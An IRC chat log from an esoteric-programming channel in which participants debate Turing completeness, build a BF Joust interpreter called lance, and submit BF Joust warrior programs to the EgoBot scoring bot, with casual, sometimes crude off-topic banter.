01:59:29 <elliott> if you have a program template
01:59:34 <elliott> { foo ",[.,]" }
01:59:36 <elliott> where you can plug in any BF program
01:59:39 <elliott> and get a program that runs that
01:59:41 <elliott> then that's sufficient
01:59:42 <elliott> but if you just have
01:59:43 <elliott> { foo }
01:59:49 <elliott> where that program takes a BF program as /input/ and runs it
01:59:57 <elliott> then that's insufficient, by the must-have-program-for-all definition
02:00:10 <elliott> because you can't construct a program that does the same as the BF program +[>+]
02:00:18 <elliott> (or, you might be able to, but the mere existence of { foo } does not demonstrate it)
02:00:22 <elliott> see?
02:00:29 <quintopia> almost
02:00:38 <elliott> admittedly, 99% of BF interpreters will allow you to transform the latter type into the former
02:00:49 <quintopia> ohhhh
02:00:50 <elliott> but again, consider the language with one operation, where all programs consist of one instruction
02:00:51 <elliott> the operation is:
02:00:54 <elliott> run_bf_program_on_input
02:01:05 <elliott> it's arguable whether this language counts as TC, as there is not a program for every TM
02:01:18 <elliott> just a program for one specific universal language (brainfuck)
02:02:16 <quintopia> it's slipping away...
02:02:28 <elliott> it's ok, the disagreement is very academic :P
02:03:17 <quintopia> it seems like there should be a program for every TM. namely, the BF UTM with that TM pre-written to the tape to be simulated by the BF UTM
02:03:43 <quintopia> (by pre-written, i mean, the sequence of BF instructions that write it)
02:03:51 <elliott> <elliott> but again, consider the language with one operation, where all programs consist of one instruction
02:03:52 <elliott> <elliott> the operation is:
02:03:52 <elliott> <elliott> run_bf_program_on_input
02:03:55 <elliott> there is exactly one valid program
02:03:58 <elliott> run_bf_program_from_input
02:03:59 <elliott> *from, not on
02:04:05 <elliott> there is exactly one program.
02:04:08 <quintopia> ohhhhhhhh
02:04:10 <elliott> therefore there is not a program for every TM.
02:04:30 <elliott> this program simulates a UTM (well, no, but equivalent). but you cannot write a program to simulate an arbitrary TM.
02:05:01 <quintopia> this is almost like the battle over whether the 5,3 TM is universal...because its TCness depends critically upon its input
02:05:38 <quintopia> so it's the question of what it means to encode a TM...whether or not the encoding itself handles all the TCness of it
02:06:10 <elliott> 5,3?
02:06:12 <elliott> *2,3
02:06:21 <quintopia> yeah that. well, anyway, we've established that there are 2 good uses for BF
02:06:24 <elliott> quintopia: but, err, it's almost exactly like it, because ais523 is the one who proved the 2,3 TM turing complete
02:06:28 <elliott> and he's the one who helped flesh it out
02:06:31 <elliott> wait, do you actually know that?
02:06:34 <elliott> i guess you don't necessarily
02:07:09 <quintopia> no, no i didn't know that. i'm not exactly surprised. if i'd ever heard his name mentioned, i'd probably have recognized it.
02:07:18 <elliott> alex smith
02:07:32 <elliott> lol, apparently there's a wired article about it
02:12:01 <quintopia> "He also enjoys composing electronic music" where is this music? :P
02:12:10 <elliott> quintopia: when questioned he has been
02:12:12 <elliott> EXCEEDINGLY
02:12:13 <elliott> ELUSIVE
02:12:15 <elliott> about the matter.
02:12:45 <quintopia> erm ahhh ehhh right the music umm
02:13:00 <elliott> I DON'T FEEL COMFORTABLE DISCUSSING THE MUSIC
02:13:06 <elliott> AT THIS POINT IN TIME
02:13:15 <elliott> NOT UNTIL THE STATUE OF LIMITATIONS RUN OUDID I SAY ANYTHING NOOOPE I SAID NOTHING
02:13:25 <elliott> YOUR EARS MUST BE DECEIVING YOU. HA. HA.
02:14:23 <quintopia> oh
02:14:25 <quintopia> my ears
02:14:30 <quintopia> they are defective
02:14:36 <quintopia> that is why i am unable to hear the music
02:15:15 <elliott> quintopia: drinking game for you
02:15:16 <elliott> http://cs.nyu.edu/pipermail/fom/2007-October/012149.html
02:15:19 <elliott> drink whenever wolfram links to his own book
02:15:25 <elliott> prepare to become very, very drunk
02:15:35 <quintopia> i've read through this thread before
02:18:27 <elliott> [[That could be because cellular automata date back to the 1950s, Aaronson says. "The impact of NKS on all the areas of computer science and physics I'm familiar with has been basically zero," he says. "As far as I can tell, the main impact is that people now sometimes use the adjective 'Wolframian' to describe breathtaking claims for the trivial or well-known." Davis offers a sunnier take: "The book has a lot of beautiful pictures."]]
02:18:30 <elliott> that last sentence
02:18:31 <elliott> priceless
02:20:37 <quintopia> lul
02:23:50 <Sgeo_> NKS?
02:24:22 <elliott> Sgeo_: new kind of sexytime. sorry science.
02:24:54 <Gregor> Well it does have pretty pictures.
02:25:12 <quintopia> i haven't read it
02:25:17 <quintopia> by which i mean
02:25:24 <quintopia> i haven't admired the pretty pictures
02:27:26 <elliott> Yay, my parser is approaching something more stable.
02:27:31 <elliott> A New Kind of Stability.
02:28:22 -!- R0b0t1 has quit (Quit: R0b0t1).
02:34:56 <elliott> $ time (for i in $(seq 100); do ./lance '(+)*10000000000' '(+)*10000000000' >/dev/null; done)
02:34:57 <elliott> real0m10.167s
02:35:03 <elliott> Gregor: Does EGOJOUST offer that kind of RAW SPEED PERFORMANCE?
02:36:27 <quintopia> IS IT DONE YET
02:36:35 <elliott> quintopia: ALMOST
02:36:51 <elliott> I just need to add {} loop support, port report.c to it, and port the !bfjoust command to it.
02:37:24 <quintopia> you get the bfjoust command automatically, really
02:37:41 <quintopia> if you change the name of report, you might have to change one line in the shell script for the command
02:37:48 <elliott> !info
02:37:49 <EgoBot> EgoBot is a bot for running programs in esoteric programming languages. If you'd like to add support for your language to EgoBot, check out the source via mercurial at https://codu.org/projects/egobot/hg/ . Cheers and patches (preferably hg bundles) can be sent to Richards@codu.org , PayPal donations can be sent to AKAQuinn@hotmail.com , complaints can be sent to /dev/null
02:38:24 * elliott tries to find the command
02:38:35 <quintopia> the relevant line is ../report ../cache ../egojoust *.bfjoust
02:38:38 <quintopia> that's all you need to change
02:38:50 * elliott reads.
02:38:52 <quintopia> it's in scmds/bfjoust or something like that
02:39:17 <elliott> Gregor: Do you run the report with... a post-commit hook?
02:39:28 <Gregor> wtf, no
02:39:34 <elliott> 38 # Wait for the score to exist
02:39:34 <elliott> 39 (
02:39:34 <elliott> 40 while [ ! -e ../cache/"$I_FILE".bfjoust.score ]
02:39:36 <Gregor> Report does the committing, it's run by egobot
02:39:42 <elliott> What's that about then
02:39:51 <Gregor> Good job understanding bash.
02:40:02 <elliott> Gregor: I just mean, what creates it.
02:40:07 <Gregor> report
02:40:13 <elliott> Oh, it's run in the background :P
02:40:28 <elliott> But yeah, admittedly the bfjoust command itself just needs s/egojoust/lance/ or whatever :P
02:44:19 <elliott> fprintf(stderr, "%d : Oi -- you have a {, but you're not in a ( block. If I were you, I'd make sure my family doesn't hear about this.\n", n);
02:44:20 <elliott> MY ERROR MESSAGES
02:44:23 <elliott> THEY JUST KEEP
02:44:23 <elliott> GETTING
02:44:25 <elliott> BETTER
02:45:04 <elliott> Gregor: { and } don't have to store any counts or anything with them, right?
02:45:05 <Deewiant> s/ -- /—/
02:45:13 <Gregor> elliott: Right
02:45:24 <elliott> Gregor: Not even the location of the other }, yah?
02:45:35 <Gregor> Certainly not that.
02:45:38 <elliott> Deewiant: nou
02:45:41 <Gregor> {} never jump to each other.
02:45:53 <elliott> Deewiant: " -- " looks nicer, especially in a monospaced medium where -s are wide.
02:46:03 <elliott> Deewiant: Besides, as a Brit, I put thin spaces around em dashes.
02:46:24 <elliott> Deewiant: AND THAT'S HOW I LIKE IT.
02:46:41 <elliott> TBH, I usually prefer the en dash simply because the em dash is pretty damn wide.
02:47:00 <Deewiant> "According to [...] some British sources (e.g., The Oxford Guide to Style), an em dash should always be set closed (not surrounded by spaces)."
02:47:24 <elliott> "some"
02:47:31 <Deewiant> "Oxford"
02:47:44 <Deewiant> en-GB-oed spelling goes with Oxford style
02:47:47 <elliott> Deewiant: The Brit thing was a joke.
02:47:51 <elliott> Also, I never specified -oed.
02:48:00 <Deewiant> I do.
02:48:05 <elliott> [[The Canadian The Elements of Typographic Style recommends the more concise spaced en dash – like so – and argues that the length and visual magnitude of an em dash "belongs to the padded and corseted aesthetic of Victorian typography."]]
02:48:11 <elliott> Deewiant: Canada.
02:48:13 <elliott> Canada hates you.
02:48:19 <Deewiant> Screw Canada.
02:48:21 <elliott> [[The spaced en dash is also the house style for certain major publishers (Penguin, Cambridge University Press, and Routledge among them, all British).]]
02:48:22 <elliott> [[The spaced en dash is also the house style for certain major publishers (Penguin, Cambridge University Press, and Routledge among them, all British).]]
02:48:23 <elliott> [[The spaced en dash is also the house style for certain major publishers (Penguin, Cambridge University Press, and Routledge among them, all British).]]
02:48:26 <Deewiant> They don't even have Internet these days.
02:48:27 <elliott> Deewiant: CAMBRIDGE.
02:48:31 <Deewiant> OXFORD.
02:48:35 <elliott> Deewiant: PENGUIN
02:48:36 <Deewiant> en-GB-cam? What's that?
02:48:42 <elliott> THE MOST PRESTIGIOUS UNIVERSITY IN ALL ENGLAND
02:48:59 <elliott> <Gregor> Fucking FONTophiles.
02:50:26 <Gregor> !bfjoust sugar_philip http://pastebin.com/raw.php?i=0ppQDKzt
02:50:47 <EgoBot> Score for Gregor_sugar_philip: 1.9
02:50:53 <Gregor> wtf, really?
02:51:10 <quintopia> gregor
02:51:17 <quintopia> were you even paying attention at all
02:51:25 <Gregor> quintopia: Yes, that's why I wrote this.
02:51:34 <Gregor> It is a substantial improvement, at least by egojsout
02:51:36 <quintopia> did you fix the bug first?
02:51:45 <Gregor> Then I guess I wasn't paying attention :P
02:52:06 <quintopia> egojoust does not support ({})% correctly
02:52:14 <Gregor> Ahhh
02:52:16 <Gregor> Sweet :P
02:52:17 <quintopia> expand all that stuff manually and try again
02:52:40 <elliott> Gregor: No
02:52:41 <elliott> Gregor: More importantly
02:52:43 <elliott> Gregor: That page is HTML
02:52:45 <elliott> And starts with a <
02:52:54 <Gregor> ARGH
02:52:56 <Gregor> Pastebin made of fail.
02:52:57 <elliott> How it gets more than 0 points, I have no clue.
02:52:58 <elliott> Gregor: sprunge.us
02:52:58 <quintopia> next time try a sprunge
02:53:00 <elliott> Srsly.
02:53:13 <elliott> It's the only way to stay sane :P
02:53:15 <Gregor> I edited it in egojsout, I don't have it so conveniently in a file.
02:53:30 <elliott> Gregor: Write some PHP as a post form to sprunge :P
02:53:30 <elliott> It's just
02:53:32 <elliott> not even php
02:53:48 <elliott> <form action="http://sprunge.us" method=post><textarea name=sprunge></textarea><input type=submit></form>
02:53:54 <quintopia> Gregor: make it so you can submit programs FROM bfjsout!
02:53:55 <elliott> Save as ~/sprunge.html :P
02:54:08 <elliott> Gregor: But usually I just do
02:54:09 <Gregor> quintopia: Stop saying "bfjsout"
02:54:14 <elliott> $ curl -F 'sprunge=<-' sprunge.us
02:54:15 <quintopia> elliott: how do you get back the link title?
02:54:16 <elliott> [middle click]
02:54:17 <elliott> ^D
02:54:27 <elliott> quintopia: It'll be in the response you get
02:54:28 <elliott> So just submit
02:54:42 <Gregor> !bfjoust sugar_philip http://sprunge.us/jjJS
02:54:46 <quintopia> oh. neatsauce
02:55:03 <EgoBot> Score for Gregor_sugar_philip: 38.9
02:55:08 <quintopia> not bad
02:55:10 <Gregor> Hm
02:55:34 <quintopia> what is a sugar philip
02:55:40 <elliott> A penis.
02:55:47 <elliott> Made out of ... sugar.
02:55:50 <quintopia> should have known
02:56:02 <elliott> Gregor is all about the sugar penises.
02:56:17 <Gregor> Now what's this bug about expanding ({}) that isn't a crashbug?
02:57:37 <elliott> Gregor: See: the messages oerjan sent you via lambdabot that you ignored :P
02:58:14 <Gregor> I thought that was a crashbug, not a correctness issue.
02:58:25 <elliott> Gregor: Nope :P
02:58:39 <Gregor> Well then screw you guys for not making that clear X-P
02:59:00 <elliott> We did, you were all "OH BUT, LANCE WILL SAVE THE DAY" ... which it will.
02:59:17 <quintopia> basically, it results in failure to parse on certain matches where the brackets get expanded too much
02:59:37 <quintopia> and failure to parse is the PROGRAM'S FAULT SO THE PROGRAM LOSES
03:02:46 <Gregor> !bfjoust sugar_philip http://sprunge.us/CjZH
03:03:03 <elliott> In lance, failing to parse aborts the battle immediately :P
03:03:25 <elliott> You know, because it comes from the SANE principle of software design, rather than the WTF principle of software design that Gregor employs in everything and that's why his life is meaningless and empty, devoid of all emotion.
03:03:27 <EgoBot> Score for Gregor_sugar_philip: 4.2
03:03:33 <elliott> Gregor: WHAT AN IMPROVEMENT
03:03:34 <Gregor> ...
03:03:38 <elliott> XD
03:03:41 <Gregor> That was supposed to be testing the fix.
03:04:26 <Gregor> Which didn't work, as I win against different things here than in EgoJSout
03:04:28 -!- zzo38 has quit (Remote host closed the connection).
03:04:35 <elliott> BECAUSE OF LOGIC
03:05:13 <quintopia> why can't i say egojsout? there is no reason here for me to exert the tremendous effort required to reach for the shift key
03:05:17 <Gregor> Just get lance done already :P
03:05:21 <Gregor> quintopia: You were saying bfjsout
03:05:21 <elliott> Gregor: I am :P
03:05:24 <Gregor> quintopia: bfjsout is wrong.
03:05:29 <quintopia> oh
03:05:33 <quintopia> i'm a bit drunk
03:05:37 <quintopia> nevermindme
03:05:38 <elliott> Just debugging a RATHER CURIOUS parser bug, because fucking hell, everything is a fucking parser.
03:05:44 <elliott> All programs have been reduced to parsing.
03:05:50 <elliott> This is the sorry state of the fucking field we're in.
03:05:51 <elliott> Sorry, what?
03:06:17 <Gregor> !bfjoust sugar_philip http://sprunge.us/LHaP
03:06:42 <elliott> !bfjoust
03:06:42 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
03:06:44 <Gregor> Really large decoys will eff up sugar_philip a lot.
03:06:50 <EgoBot> Score for Gregor_sugar_philip: 24.4
03:06:52 <elliott> BTW, egojsout is really quite awesome :P
03:07:04 <elliott> It makes the strategy of programs so clear.
03:08:13 <elliott> Gregor: I like how (+)*-1 still works in EgoJSout... is that on purpose? :-P
03:08:18 <Gregor> Yup :P
03:08:22 <Gregor> Sort of an easter egg :P
03:08:45 <elliott> Gregor: Arguably -1 should be code for "forever" ... admittedly, that's totally faggy, since it reduces the purpose of a large class of loops, but it's already possible because of the cycle limit.
03:08:47 <quintopia> it's equivalent to -?
03:08:53 <elliott> quintopia: no, *100000000000000
03:08:55 <elliott> or whatever
03:09:09 <quintopia> that's dumb
03:09:21 <Gregor> So's your face, but you don't see us complaining about that.
03:09:24 <elliott> quintopia: it's like that in egojoust. why's it dumb.
03:09:24 <quintopia> (+)*-n should be (-)*n :P
03:09:35 <Gregor> ...lol
03:09:40 <elliott> approve
03:09:44 <quintopia> it would make the metagame easier to write for
03:09:47 <elliott> Gregor: Figgrrred out what causes the LAGS in Chrome.
03:09:54 <Gregor> Oh?
03:09:56 <elliott> Gregor: DON'T CLICK BREAKDOWN ELEMENTS BEFORE ALL THE RUNS COMPLETE
03:10:00 <elliott> IT WILL DESTROY YOUR SOUL
03:10:13 <Gregor> Oh really? I thought I'd fixed that >_>
03:10:27 <elliott> Gregor: BTW, could you redirect codu.org/bfjoust to the right place? I keep having to !bfjoust :P
03:10:30 <elliott> I suppose I could bookmark it.
03:10:37 <elliott> Gregor: Oh, do I have to shift-refresh or w/e
03:10:50 <Gregor> Depends on how long it's been since you updated it I suppose :P
03:10:55 <Gregor> That fix was actually a fair bit ago.
03:11:00 <elliott> Since the first time I loaded it, which was when it came out :P
03:11:08 <elliott> HAVEN'T YOU EVER HEARD OF APPENDING ?VERSION TO THE URL, BOY
03:11:11 <elliott> (JS URL THAT IS)
03:11:12 <elliott> BOY
03:11:30 <elliott> Just tried it again after refreshing in numerous ways, same problem, runs still stop trickling in.
03:12:02 <elliott> Gregor: Or maybe it's like GC or something ... after a tie, my browser goes all fuxilaggy.
03:12:06 <elliott> Scrolling is painful.
03:12:20 <Gregor> The runs are supposed to stop trickling in if you click one, it's forced to stop.
03:12:29 <Gregor> But it shouldn't become laggy, just switch gears.
03:13:22 <Gregor> ... unless ...
03:14:04 <elliott> 880: 0 75 81 81 7F ED 12 FF 01 00 X80 0
03:14:04 <elliott> 999: 0 75 81 81 7F ED 12 FF 01 00 XD4 0
03:14:25 <Gregor> ...???
03:17:13 <quintopia> it is bug, gregor
03:17:17 <quintopia> the whole thing
03:17:19 <quintopia> bug
03:21:26 <elliott> Gregor: that was just my quote for my prog :P
03:27:49 <Gregor> Heh, I actually did fix the bug, I just forgot that egojoust IS sensitive to *-vs-% :P
03:27:58 <Gregor> !bfjoust sugar_philip http://sprunge.us/YgVQ
03:29:43 <EgoBot> Score for Gregor_sugar_philip: 27.3
03:30:05 <quintopia> gregor: sugar philip pushed vorpal_shudder off the hill :D
03:30:14 <Gregor> !bfjoust sugar_philip http://sprunge.us/iPFe
03:30:22 <Gregor> Funny, I just want to push quintopia_* off ;)
03:30:29 <Gregor> Since you knocked me WAY down from 1st.
03:30:44 <quintopia> Gregor: you're about to push quintopia_when_will_it_explode off
03:30:46 <quintopia> have fun
03:32:38 <elliott> quintopia: wat
03:34:03 <elliott> Gahh, this is hard.
03:37:23 <elliott> wow, this might actually work
03:40:28 <Gregor> !bfjoust sugar_philip http://sprunge.us/FeRb
03:40:36 <Gregor> (Got tired of waiting :P )
03:40:45 <elliott> !bfjoust mexican_wave >>>+<<(>>[[-]+>[-]+>]+[<<])*-1
03:41:05 <elliott> This program does something I haven't seen any other program do.
03:41:16 <elliott> Basically, it visits two cells more every iteration of the "loop".
03:41:21 <elliott> By doing a BF-tape style thing.
03:41:33 <elliott> As in "encoding tapes into BF".
03:41:34 <Gregor> So it'll fail in at least half of the tape lengths? :P
03:41:44 <elliott> Gregor: Nope.
03:41:48 <elliott> Gregor: Because it clears both cells.
03:42:00 <Gregor> If the first cell is the flag, doesn't it wander off?
03:42:06 <elliott> Gregor: Run it and another program in egojsout, you'll see what I mean by "wave".
03:42:08 <elliott> And no.
03:42:13 <Gregor> Okidoke.
03:42:23 <elliott> (It used to be a bit less of a lopsided wave before I added more stuff.)
03:42:42 <EgoBot> Score for Gregor_sugar_philip: 31.2
03:42:43 <EgoBot> Score for Gregor_sugar_philip: 31.2
03:42:48 <EgoBot> Score for elliott_mexican_wave: 1.1
03:42:53 <elliott> Yaaaaay
03:43:00 <Gregor> Wow, mexican_wave causes EPIC FAILURE in sugar_philip sometimes.
03:43:03 <elliott> Howso
03:43:39 <Gregor> I try to avoid getting into a tight [+] loop by backing off, but you make me back off into my own decoys.
03:43:48 <elliott> X-D
03:44:27 <elliott> Gregor: I love how leisurely the normal polarity, 30-length sugar philip vs mexican wave run is.
03:44:43 <elliott> mexican_wave just starts clearing all these cells slooooooooooooooooooowly while you sit around wasting time.
03:45:29 <Gregor> Wow, I pretty epically fail there don't I :P
03:47:03 <elliott> Gregor: I just made a modified mexican_wave that kills sugar_philip ... ... after 8804 turns.
03:47:09 <elliott> It is ... pretty epic.
03:47:30 <elliott> mexican_wave fills the whole tape with crap as slowly as possible while sugar_philip sort of... tags along?
03:47:40 <elliott> Ooh, 11045 turns maximum.
03:47:52 <elliott> Holy shit, more.
03:47:59 <elliott> Gregor: 18911 turns.
03:48:14 <elliott> Gregor: Run sugar philip against this:
03:48:14 <elliott> >>>+<<(>>[(-)*128[+](+)*128>(-)*128[+](+)*128>]+[<<])*-1
03:48:18 <elliott> Polarity inverted, tape length 30.
03:48:20 <elliott> Observe the madness.
03:48:28 <elliott> !bfjoust in_mexico_trains_are_slow >>>+<<(>>[(-)*128[+](+)*128>(-)*128[+](+)*128>]+[<<])*-1
03:49:18 <EgoBot> Score for elliott_in_mexico_trains_are_slow: 4.8
03:49:24 <elliott> X-D
03:49:37 <elliott> From beating sugar_philip, basically.
03:49:41 <elliott> In fact, entirely.
03:49:45 <Gregor> lol
03:49:54 <Gregor> You should set higher goals :P
03:49:55 <elliott> sugar_philip is now #25 X-D
03:53:36 <Gregor> sugar_philip is very experimental X-P
03:54:06 <elliott> *crap
03:57:15 <elliott> Hey Gregor, have you been breaking my parser again
04:06:57 <elliott> Gregor: LANCE: TOTES ALMOST READY
04:08:13 <elliott> Gregor: Should I just support -1 as a synonym for maximum, or -anything? IMPORTANT DECISIONS
04:08:32 <Gregor> A BAJILLION AND A HALF
04:08:40 <elliott> Gregor: THAT'S NOT AN ANSWER
04:19:10 <Ilari> Wow, saw molecular diagrams of vitamin D3 and cholesterol (there's only one kind) side by side. Took a while to spot the differences.
04:19:39 <elliott> Gregor: Woo, just have to implement the actual bodies of ({}) and it's done. (Plain () works.)
04:20:25 <elliott> Gregor: So let me get this straight. ( pushes 0 on one stack, and its iteration count on another stack. } checks the first stack; if it's reached the iteration count, it's a nop (no popping), otherwise, it increments the value on top of the first stack, and goes back after the matching (.
04:20:26 <elliott> Right?
04:20:41 <elliott> And then }) does the same, except checking for 0, and decrementing.
04:21:28 <elliott> Gregor: Or do I only need one stack?
04:22:01 <Ilari> Basically, Cholesterol has C(CH3)C group, Vitamin D3 has C(CH2) .. CH - One hydrogen in different place and one bond in different position.
04:22:09 <Gregor> !bfjoust high_fructose_corn_philip http://sprunge.us/FNgE
04:22:14 <Gregor> elliott: I am now too tired to judge that :P
04:22:21 <elliott> Gregor: Just gueeeesss
04:22:25 <EgoBot> Score for Gregor_high_fructose_corn_philip: 53.7
04:22:25 <elliott> Gregor: Do you need one stack or two
04:22:27 <elliott> For ({})
04:22:39 <elliott> I think you need two, because ( has to push its maximum iteration, so that { can check it.
04:22:40 <Gregor> Just one.
04:22:49 <elliott> Gregor: How does { know when it's iterated enough?
04:22:49 <Gregor> #3 :)
04:23:11 <Gregor> You need to store the count somewhere it can get to.
04:23:25 <elliott> Gregor: i.e. on a stack (for nested ({})s)
04:23:28 <elliott> No?
04:24:03 <Gregor> Ohohoh
04:24:08 <Gregor> Yeah, then you need two stacks :P
04:24:16 <Gregor> I just happen to be storing those inline in my object format :P
04:24:54 <elliott> Gregor: I could store them inline, but then { would have to scan backwards, would it not?
04:25:09 <Gregor> I store that inline too :P
04:25:14 <elliott> Gregor: Of course what I COULD do is put a pointer to the ( in { instructions, and put a pointer to the ) in } instructions.
04:25:19 <elliott> Is that what you do?
04:25:24 <Gregor> Yes
04:25:29 <elliott> Kay.
04:25:42 <elliott> My parser is... quite thoroughly ugly.
04:26:57 <elliott> Gregor: Man, how do you get the pointer to the ) into }s.
04:27:03 -!- Mathnerd314 has quit (Ping timeout: 240 seconds).
04:27:05 <elliott> That seems like it'll be totally fugly for my parser.
04:27:26 <Gregor> I actually stored everything I needed in (, including the location of ), and just go via there.
04:27:46 <elliott> Gregor: Oh, good idea :P
04:27:53 <elliott> Gregor: (That's... so cheating.)
04:28:06 -!- TLUL has joined.
04:28:26 <elliott> *into++ = whole_into[whole_into[j-1]];
04:28:30 <elliott> Indirection, it's what's for dinner.
04:29:14 -!- TLUL has quit (Client Quit).
04:31:41 <elliott> Gregor: Wait, why does ( need to know where ) is?
04:31:47 <elliott> I store the repeat count in (... for some reason...
04:31:54 <elliott> I'm really fucking confused.
04:32:05 <Gregor> ( needs to know where ) is for *0
04:32:28 <elliott> Gregor: Ha, currently I don't even handle *0, it's... an infinite loop X-D
04:32:36 <Gregor> !bfjoust high_fructose_corn_philip http://sprunge.us/dNYZ
04:32:38 <elliott> Gregor: So (x)*0 = xxxxxxxxxxx...
04:32:45 <Gregor> Nice
04:32:48 <EgoBot> Score for Gregor_high_fructose_corn_philip: 0.0
04:32:51 <Gregor> wtfbbq
04:33:21 <Gregor> Oh, egojoust doesn't support ({})-nesting right hyuk X-P
04:34:46 <Gregor> !bfjoust high_fructose_corn_philip http://sprunge.us/TFbD
04:35:01 <EgoBot> Score for Gregor_high_fructose_corn_philip: 52.9
04:35:08 <quintopia> the first one was better
04:35:29 <elliott> quintopia: rewrite my parser
04:35:39 <quintopia> 'kay
04:36:13 <Gregor> !bfjoust rapping_turtle <
04:36:23 <EgoBot> Score for Gregor_rapping_turtle: 0.0
04:36:51 <quintopia> why you killin' the turtle wrapper?
04:37:50 <elliott> $ ./lance '' '({})*3'
04:37:50 <elliott> 2 : Oi -- your program has an unmatched . You can't just bash random keys and expect it to work!
04:37:54 <elliott> An unmatched... what, exactly?
04:38:20 <elliott> Gregor: BTW, I fully intend to make sure !bfjoust reports these amazing complaints to the submitter. You have been warned.
04:38:29 <elliott> This is may payment for writing such an amazing piece of software.
04:38:31 <elliott> *my
04:38:40 <Gregor> quintopia: Got too many on the board.
04:38:59 <quintopia> are they all too similar?
04:42:52 <Gregor> Had three in the turtle family, two in the philip family.
04:42:54 <Gregor> Now have two in each.
04:47:45 <elliott> Hey Gregor guess what I BROKE
04:47:52 <elliott> Ohh
04:47:52 <Gregor> OOOH WHAT
04:47:54 <elliott> Duh!
04:47:55 <elliott> Gregor: IT.
04:49:30 <elliott> Gregor: Basically lance's parser is fucking everything up and it's 5 am.
04:49:31 <Sgeo_> Something happened to me.
04:49:39 <Gregor> elliott: Sweet.
04:49:40 <elliott> Sgeo_: What, exactly?
04:49:52 <Sgeo_> I ate an entire box of pasta. I'm still hungry.
04:50:00 <elliott> An ENTIRE BOX?!?!?!?!
04:50:04 <elliott> Are we talking:
04:50:12 <elliott> - Box you'd store a speck of dust in
04:50:21 <elliott> - Cardboard box you'd store something from Ikea in
04:50:25 <elliott> - Box size of house
04:50:29 <Sgeo_> 8 servings of 2 oz of pasta
04:50:33 <elliott> - The cardboard box surrounding the universe
04:51:04 <elliott> I... need supporters for my religion which says that the universe is surrounded by a cardboard box.
04:52:00 <Gregor> !bfjoust high_fructose_corn_philip http://sprunge.us/URVI
04:52:18 <EgoBot> Score for Gregor_high_fructose_corn_philip: 58.3
04:52:30 <elliott> Gregor: I have done what no man thought possible
04:52:39 * Gregor stretches.
04:52:41 <Gregor> It's good to be king.
04:52:47 <elliott> NO MAN THOUGHT POSSIBLE
04:53:16 <elliott> Gregor: I have turned (foo)*N into (foo)*0.
04:53:17 <elliott> For everything.
04:53:20 <Sgeo_> If no man thought of it at all, then no man thought it possible
04:53:25 <Gregor> elliott: lawl
04:54:27 <quintopia> nice one
04:54:36 <quintopia> i think the philip idea is quite clever
04:54:49 <elliott> I think it's retarded, because I made it do stupid things ;)
04:55:12 <Gregor> quintopia: It still depends fundamentally on this rather durptarded inner loop that's broken if you change your flag too much :P
04:55:22 <elliott> "durptarded"
04:55:24 <Gregor> But yeah, avoids decoys much better than the turtles.
04:55:26 <elliott> A new addition to my lexicon.
04:55:37 <elliott> Hopefully, one that will soon be purged. From the collective memory. Of everyone. Forever.
04:56:33 <elliott> Man... what is wrong with this.
04:56:35 <quintopia> gregor: yeah, it's a nice way of speeding up the careless idea
04:56:59 * elliott looks at trace _what_
04:59:39 <Gregor> Yeah, it'd be tough to beat both quintopia's stuff and the decoyboosters with the careless Philip the turtle strategy.
05:00:01 <quintopia> lol
05:00:25 <elliott> Gregor: Draw Philip the turtle please
05:00:32 <Gregor> Cannot draw :P
05:00:50 <elliott> Gregor: Get that person who drew that existentialism one
05:00:52 <elliott> Make him do it
05:00:54 <elliott> FORCE him
05:00:58 <elliott> I must see Philip the turtle
05:01:06 <Gregor> But he's SO careless durpadurp
05:02:27 <Gregor> Incidentally, in spite of it turning out that it is careless' strategy, I didn't take it from there, I thought of it independently.
05:02:30 <quintopia> you do at least manage to beat ALL of my serious entries with fructose
05:02:35 <Gregor> :)
05:02:40 <Gregor> That's the only reason I'm #1 :P
05:02:53 <Gregor> My points are substantially lower than #2, but I beat #2, #3, #4 :P
05:03:13 <elliott> Gregor: I imagine him smiling, with his eyes slightly further apart than a person of normal intelligence would have, walking in a way that could only be achieved with a complete misunderstanding of the way feet work.
05:03:14 * quintopia shrugs, folds his hands
05:03:18 <elliott> But still. Smiling.
05:03:29 <quintopia> haha
05:03:41 <elliott> SO CUTE.
05:04:51 * quintopia draws
05:05:59 <elliott> quintopia: MAKE SURE HE'S CUTE.
05:06:19 <quintopia> how does a turtle smile
05:06:24 <elliott> quintopia: HAPPILY.
05:07:37 <elliott> Gregor: lance will be all done for EgoBot integration tomorrow probably.
05:22:50 <pikhq> ...
05:23:08 <pikhq> In some US states allowing for common-law marriage, there is no requirement that the parties be male and female.
05:23:23 -!- elliott has quit (Ping timeout: 240 seconds).
05:28:47 <quintopia> here in GA, we don't let little loopholes like that slip through. we past CONSTITUTIONAL AMENDMENTS declaring gay marriage to be EXPRESSLY FORBIDDEN
05:30:47 <quintopia> elliott: http://imgur.com/yQN9j
05:35:56 <Gregor> Wow, this is the first time I've ever felt like oggenc at default settings REALLY let me down.
05:37:09 <Gregor> http://codu.org/tmp/death-2011-02-12.ogg Anyway, what does somebody who isn't an audiophile think of this as a "death ditty"
05:37:12 <Gregor> For a video game
05:38:26 <quintopia> unless people die by waking up from a dream, it sucks
05:38:31 <quintopia> there's nothing deathy about it
05:38:38 <Gregor> It's a very mellow game.
05:38:53 <quintopia> tell the person making this game to include careless Philip the turtle
05:39:00 <Gregor> X_X
05:39:53 <quintopia> i think i know why it doesn't sound deathy
05:39:56 <quintopia> it's too regular
05:40:14 <Gregor> I haven't tweaked the tempo yet at all, it definitely needs to be tweaked.
05:40:50 <quintopia> just sitting here i've hummed a few things with a similar harmonic structure that sound far more deathy
05:46:52 <pikhq> quintopia: I wonder what full faith and credit has to say about that.
05:47:54 <quintopia> not sure what you mean there
05:53:56 <Gregor> http://codu.org/tmp/death-2011-02-12-2.ogg Bleh, I shouldn't try to finesse rhythm at 1AM after being awake from 8AM X_X
05:53:58 <Gregor> *sleep*
05:54:10 <quintopia> nainai
06:13:55 <pikhq> WHY GOD WHY
06:14:19 <pikhq> A sequel to Manos: The Hands of Fate.
06:14:37 <pikhq> It is considered by many to be the worst film.
06:15:45 <quintopia> :D
06:15:53 <quintopia> where can i get the MST3K of it?
06:16:31 <pikhq> I was only able to find it on Google Videos.
06:17:06 <pikhq> Said Google Video upload is actually official.
06:17:17 <pikhq> Low-quality, but nevertheless.
06:17:29 <pikhq> Oh, well, there's also the "complete MST3K" torrents.
06:30:39 -!- copumpkin has joined.
06:35:39 -!- nescience has quit (Quit: AndroidIrc Disconnecting).
07:09:12 <myndzi> wow gregor
